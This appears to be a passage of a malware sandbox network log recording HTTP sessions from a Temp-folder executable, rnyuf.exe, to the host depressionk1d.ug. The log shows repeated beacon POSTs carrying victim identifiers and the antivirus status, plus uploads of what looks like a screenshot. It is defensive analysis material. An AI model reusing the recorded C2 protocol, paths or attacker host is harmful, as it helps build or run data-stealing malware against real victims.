Nov 12, 2021 22:23:35.822403908 CET	5023	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:35.847428083 CET	5024	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49788	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:09.325980902 CET	1378	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:09.326134920 CET	1378	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:09.326395988 CET	1388	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:09.326632977 CET	1391	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:09.348423958 CET	1393	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:09 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:09.348782063 CET	1403	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:09.348834038 CET	1409	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:09.348854065 CET	1413	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:09.348941088 CET	1418	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:09.371639967 CET	1434	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:09.371745110 CET	1450	OUT	Data Raw: 37 92 6e 14 6d 93 19 da ca c1 86 47 a6 54 57 95 86 9a 85 68 4a 5b 26 bf 33 aa ac 5b 83 4b b1 f2 86 68 07 34 bb 29 42 1a fb ab 1e 06 82 52 d1 b4 d2 ec 34 f5 10 94 52 ec 34 bb 0d 3b 05 cf b4 09 ac a7 3f e9 32 ff 00 be 7f 9d 69 93 59 2e 7f d2 65 ff Data Ascii: 7nmGTWhJ[&3[Kh4)BR4R4;?2iY.e\|:JC`1O:_UG_8P<otRc"z20S{Wzy(h/q3Gk*e(M8BM\MKqkGpEboAm=x:4wk,
Nov 12, 2021 22:23:09.371803045 CET	1460	OUT	Data Raw: e4 8a a9 e3 7e 2f ad 3f eb d9 7f ad 5b 8f ef 0f ad 56 f1 d2 e2 fe d3 fe bd 97 f9 d7 26 2b 74 75 e0 be 23 ca 3b 56 a5 d7 89 35 9b cd 3b ec 12 dd 42 20 f2 63 b7 2d 1d ac 51 c8 f1 20 01 51 a4 55 0e ca 30 38 62 47 03 d2 b2 b3 4a 0d 7c d3 49 ee 7d 8a Data Ascii: ~/?[V&+tu#;V5;B c-Q QU08bGJ\|I}n:NPj:%u Ex9veuk6m1U*Jg.#-?-"h#yVR'`9>:u\|Of2wBy{5HRq{[3FW[rmh9"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.4	49854	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:35.977914095 CET	5024	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:36.003946066 CET	5025	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:36.076555967 CET	5025	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:36.076731920 CET	5025	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:36.076972008 CET	5035	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:36.077384949 CET	5038	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:36.099487066 CET	5043	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:36.099528074 CET	5049	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:36.099685907 CET	5054	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:36.099714041 CET	5059	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:36.099735975 CET	5065	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:23:36.122046947 CET	5070	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:36.122087002 CET	5081	OUT	Data Raw: f2 17 b7 ff 00 7a 9f aa 1f f8 9a 5c 7f be 6a 3d 1b fe 42 f6 ff 00 ef 53 b5 13 9d 46 7f f7 cd 72 5b f7 ff 00 23 59 7f 07 e6 56 a4 ef 45 15 b9 ca 2d 14 94 b4 00 52 d2 52 f6 a0 40 29 69 29 69 08 29 45 25 28 a0 41 40 a2 81 48 07 03 4a 29 29 45 21 31 Data Ascii: z\j=BSFr[#YVE-RR@)i)i)E%(A@HJ))E!1)"Wm$*PvxEz^^<CW6_9z1z=x'KtVNkQ<i/Vk~B4WIqNQZVCZxsPNE&LsR@)i)"5Tp5
Nov 12, 2021 22:23:36.169392109 CET	5133	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.4	49855	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.150866032 CET	5132	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:36.176911116 CET	5133	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49856	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.307986975 CET	5134	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:36.333367109 CET	5134	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49857	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.480122089 CET	5135	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:36.505465984 CET	5135	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49858	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:36.576028109 CET	5136	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:36.576247931 CET	5136	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:36.576577902 CET	5146	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:36.576750994 CET	5149	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
